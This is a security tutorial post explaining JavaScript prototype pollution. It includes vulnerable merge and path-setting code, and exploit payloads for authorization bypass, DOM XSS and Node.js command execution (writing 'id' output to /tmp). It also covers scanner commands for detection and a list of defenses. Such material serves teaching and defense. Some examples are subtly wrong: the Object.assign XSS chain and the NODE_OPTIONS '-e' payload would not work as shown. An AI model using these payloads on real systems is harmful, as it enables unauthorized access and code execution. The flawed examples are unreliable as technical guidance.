Research / Prototype Pollution: отруєння прототипів JavaScript
RESEARCH
UA EN

Prototype Pollution in JavaScript

✍ admin 📅 05.06.2026 👁 112

What Is Prototype Pollution

In JavaScript, every object has a prototype — a parent object from which it inherits methods and properties. The root prototype of all objects is Object.prototype.

const obj = {};
obj.__proto__ === Object.prototype;  // true
obj.hasOwnProperty === Object.prototype.hasOwnProperty;  // true

Prototype Pollution is a vulnerability where an attacker can add or modify properties on Object.prototype, affecting all objects in the application.


The Vulnerability Mechanism

The vulnerability arises when code recursively copies object properties without checking for the keys __proto__, constructor, or prototype.

Vulnerable Merge

function merge(target, source) {
    for (let key in source) {
        if (typeof source[key] === 'object' && source[key] !== null) {
            if (!target[key]) target[key] = {};
            merge(target[key], source[key]);  // recursion with no key check
        } else {
            target[key] = source[key];
        }
    }
    return target;
}

// Attacker sends:
const malicious = JSON.parse('{"__proto__": {"isAdmin": true}}');
merge({}, malicious);

// Now:
const victim = {};
victim.isAdmin;  // true — without explicit assignment!

Where It Occurs

Query string parsing (qs library)

const qs = require('qs');
// URL: ?__proto__[isAdmin]=true
const parsed = qs.parse(req.query);
// Object.prototype.isAdmin === 'true'

JSON merge / deep clone

// Popular vulnerable patterns in lodash < 4.17.12
_.merge({}, JSON.parse(userInput));
_.defaultsDeep({}, JSON.parse(userInput));

Dynamic path assignment

function setPath(obj, path, value) {
    const keys = path.split('.');
    let cur = obj;
    for (let i = 0; i < keys.length - 1; i++) {
        cur = cur[keys[i]] = cur[keys[i]] || {};
    }
    cur[keys[keys.length - 1]] = value;
}

// Attack: path = "__proto__.isAdmin", value = true
setPath({}, "__proto__.isAdmin", true);
({}).isAdmin;  // true

Exploit: Authorization Bypass

// Vulnerable server code
app.post('/merge-settings', (req, res) => {
    merge(userSettings, req.body);
    res.json({ ok: true });
});

// Permission check
app.get('/admin', (req, res) => {
    if (req.user.isAdmin) {          // all objects now have isAdmin!
        res.send('Admin panel');
    }
});

// Attack:
// POST /merge-settings
// {"__proto__": {"isAdmin": true}}
// Now GET /admin is accessible to any user

Exploit: XSS via DOM Pollution

// Vulnerable client-side code
function renderMessage(msg) {
    const div = document.createElement('div');
    Object.assign(div, msg);        // merging properties
    document.body.appendChild(div);
}

// Attack via URL parameter:
// ?__proto__[innerHTML]=<img src=x onerror=alert(1)>
const params = new URLSearchParams(location.search);
params.forEach((v, k) => {
    setPath(config, k, v);           // vulnerable setPath
});

renderMessage({});  // innerHTML already polluted -> XSS

Exploit: RCE in Node.js

// Some Node.js modules read options from objects that inherit the prototype
const { execSync } = require('child_process');

// After pollution:
// {"__proto__": {"shell": "node", "NODE_OPTIONS": "--inspect=0.0.0.0:9229"}}

// Or more directly via env:
// {"__proto__": {"env": {"NODE_OPTIONS": "-e require('child_process').execSync('id>/tmp/pwned')"}}}

// Some versions of webpack/gulp execute commands from the prototype

Detection

Manual (Burp)

POST /api/settings HTTP/1.1
Content-Type: application/json

{"__proto__": {"testPolluted": "yes"}}

# Then check:
GET /api/debug
# or any endpoint with {}
# if you see "testPolluted": "yes" — the vulnerability is present

Automated

# nuclei
nuclei -u https://target.com -t vulnerabilities/generic/prototype-pollution.yaml

# ppmap — specialized tool
node ppmap.js --target https://target.com

Defenses

// 1. Freeze the prototype (nuclear option)
Object.freeze(Object.prototype);

// 2. Key validation in merge
function safeMerge(target, source) {
    for (let key of Object.keys(source)) {  // Object.keys, not for..in
        if (key === '__proto__' || key === 'constructor' || key === 'prototype') {
            continue;  // skip dangerous keys
        }
        // ...
    }
}

// 3. Use Map instead of plain objects for user data
const store = new Map();  // Map doesn't inherit from Object.prototype

// 4. Object.create(null) — object without a prototype
const safeObj = Object.create(null);

// 5. Update lodash to 4.17.21+
// 6. JSON Schema validation of incoming data

References

Коментарі (0)
Увійди, щоб залишити коментар.
Коментарів поки немає.
Вперше тут?
Новачок на Bastion?
Почни з гайду користувача.
Відкрити гайд →
?